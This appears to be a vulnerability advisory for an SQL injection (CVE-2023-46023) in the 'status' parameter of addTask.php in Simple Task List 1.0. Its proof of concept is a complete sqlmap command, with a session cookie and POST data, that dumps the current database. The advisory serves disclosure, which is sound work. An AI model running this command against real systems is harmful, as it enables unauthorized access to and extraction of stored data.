# Version: 1.0
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
# CVE : CVE-2023-46023

-------------------------------------------------------------------------------

# Description:

Simple Task List V1.0 is susceptible to a significant security vulnerability that arises from insufficient protection on the 'status' parameter in the addTask.php file. This flaw can potentially be exploited to inject malicious SQL queries, leading to unauthorized access and extraction of sensitive information from the database.

Vulnerable File: /addTask.php

Parameter Name: status

# Proof of Concept:
----------------------

1. Register and login the system
2. Add a project and a task
3. Then use the sqlmap to exploit
4. sqlmap -u "http://localhost/Tasklist/addTask.php" --headers "Cookie: PHPSESSID=<php-cookie-value>" --method POST --data "name=test&status=N" -p status --risk 3 --level 5 --dbms mysql --batch --current-db
